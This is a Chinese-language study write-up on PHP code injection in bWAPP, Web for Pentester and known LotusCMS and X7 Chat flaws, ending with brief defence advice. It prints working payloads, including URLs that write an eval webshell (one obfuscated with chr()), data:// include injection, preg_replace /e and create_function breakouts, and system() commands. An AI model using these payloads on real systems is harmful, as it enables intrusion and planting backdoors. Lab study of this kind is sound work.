0x00 背景
在bwapp的注入部分有一个个php injection,这是第一次接触,在做题的过程中查阅各种资料学习这里总结一下
0x01 PHP命令执行函数
遵从几位学长的建议对于PHP的学习都是需要的时候才去看一下,所以理解的程度并不深。这里从网上收集了一些PHP能够执行命令的函数。详情请看php执行函数
0x02 bwapp下实例
在php injection的源代码可以看到只有low等级的对于message参数前有eval执行函数,midium和high都只是使用echo打印到页面之上。因此直接在message的值写为phpinfo()就能执行该函数。
在网上看到一个相较高级的利用办法是利用fopen来写入一个php文件,相当于实现了文件上传的功能,要想在实际环境中实现需要考虑很多绕过的情况,但是想法不错!
http://127.0.0.1:82/bwapp/phpi.php?message=fputs(fopen('haha.php','w+'),'<?php @eval($_POST[test])?>')
这样的话就会在phpi的同级目录之下生成一个haha.php文件,使用菜刀连接就好。
medium与high就直接忽略掉了。
0x03 文件包含
文件包含函数在特定条件下的代码注射,如include()、include_once()、 require()、require_once()。当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。
test.php代码如下:
<?php include($_GET['a']) ?>
提交a的值:
http://127.0.0.1:82/test.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E
提交之后就能正常执行phpinfo()了
0x04 preg_replace正则替换
这个函数的定义形式是:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
pattern参数的利用
pattern即第一个参数的代码注射。当magic_quotes_gpc=Off时,导致代码执行。
例:<?php echo $regexp = $_GET['reg'];
$var = 'phpinfo()';
preg_replace("/(.*?)$regexp", '\\1', $var);
?>
当提交?reg=%3C\/php%3E/e时就会执行var中的语句
②使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行
例如:
<?php
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>/*当提交的h参数为phpinfo()就会被执行,当执行以下经过chr函数绕过的会生成一个新的php文件
h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w), <?php eval $_POST[cmd[ ?>);
0x05 动态代码执行
这一类一般是从用户处获得了多个参数,然后有一个可以用来执行其他的语句。
<?php $a = $_GET['a']; $b = $_GET['b']; $a($b); ?>
提交a=system&b=ipconfig 就能成功执行ipconfig命令
还有一种是使用了create_function()函数
string create_function ( string$args , string$code ) 即第一个参数指定创建函数的参数,第二个就是创建函数的代码部分。
create_function('$name', 'echo "hello".$name;'))等价于
function fun($name){ echo "hello".$name; }
实验代码:
提交:http://127.0.0.1:82/test.php?foobar=eval(phpinfo())
0x06 实例
①http://www.exploit-db.com/exploits/18565/ LotusCMS 3.0 eval() Remote Command Execution
影响版本:
LotusCMS version 3.0.3
LotusCMS version 3.0.5
漏洞描述:
在LotusCMS 的index.php 文件中调用router 构建函数,然后在lcms/core/lib/router.php 中page 这个参数被带入,由于未经任何过滤可以产生该漏洞。
也可以像上面提到的一样利用执行函数的特性来写入一个文件
3.案例-2:
http://www.exploit-db.com/exploits/35183/ X7 Chat 2.0.5 preg_replace() PHP Code Execution
影响版本:X7 Chat version 2.0.5
漏洞描述:
漏洞的产生最终是由于/lib/message.php 下的第119 行的preg_replce()函数导致,这里引用了/e 修饰符,并且未经过严格过滤最终导致任意代码执行。
案例演示:
1. 首先需要注册一个用户
2. 利用注册的用户登录
3. User CP –>Offline Msgs –>创建一个项目链接–>Send
或者直接GET 如下代码
之后可以看到成功创建一个项目,当打开创建的项目可以看到利用代码被成功执行
Metasploit 更新了漏洞利用模块,可以利用该模块演示一下被利用的场景
PHP create_function()
1.在php 中使用create_function()创建一个匿名函数(lambda-style),如果对参数未进行严格的过滤审查,攻击者可以通过提交特殊字符串给create_function()从而导致任意代码执行。
Code:
PHP unserialize
Code:
提交语句:http://127.0.0.1/test/unserialize.php?test=O:7:”Example”:1:{s:3:”var”;s:10:”phpinfo();”;}
PHP assert
Code:
提交语句:http://127.0.0.1/test/assert.php?test=phpinfo();
0x07 代码执行绕过
前面将一些常见的易造成PHP代码注入的函数介绍了一下。接下来将以web for pentester中的案例来演示一下,一些简单的php代码执行的绕过。
案例演示:
example1.php
代码:
解决方案:
查看代码我们可以看到,这里使用了反斜杠【\】将echo后面的内容给转义了。这样做与加addslashes()函数进行过滤的意思是一样的。具体案例可以到这里学习【php4fun.sinaapp.com PHP挑战通关攻略】。但是我们可以通过${${ }}这样的方式绕过,从而继续执行代码。
提交语句:
http://target/codeexec/example1.php?name=${${phpinfo()}}
example2.php
代码:
解决方案:
我们看代码,造成造成代码注入的重点在被加红的区域也就是create_function()的不当使用,我们可以这样构造);}phpinfo();//,从而继续执行我们的命令。【这里解释一下);}是闭合了前面的代码,而//则是将后面的内容注释掉】
提交代码:
http://target/codeexec/example2.php?order=id);}phpinfo();//
example3.php
代码:
解决方案:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
因此当满足了在语句的构造中有/e修正符,就有可能引起php代码注入的风险。可以如此构造
new=system(‘date’)&pattern=/lamer/e&base=Hello lamer
提交代码:
http://target/codeexec/example3.php?new=system(‘date’)&pattern=/lamer/e&base=Hello lamer
example4.php
代码:
解决方案:
如此构造即可:hacker’.system(‘cat /etc/issue’).’
提交代码:
http://target/codeexec/example4.php?name=hacker’.system(‘cat /etc/issue’).’
0x08 代码防御
尽量不要执行外部的应用程序和命令
在使用诸如:eval、preg_replace、assert这些函数的时候,确定参数的内容,严格过滤危险参数。
使用自定义的函数或者函数库来实现相关的需要命令功能
0x09 相关参考
慎用preg_replace危险的/e修饰符(一句话后门常用)
文中后半部分来自千域千寻,PHP Code Injection Analysis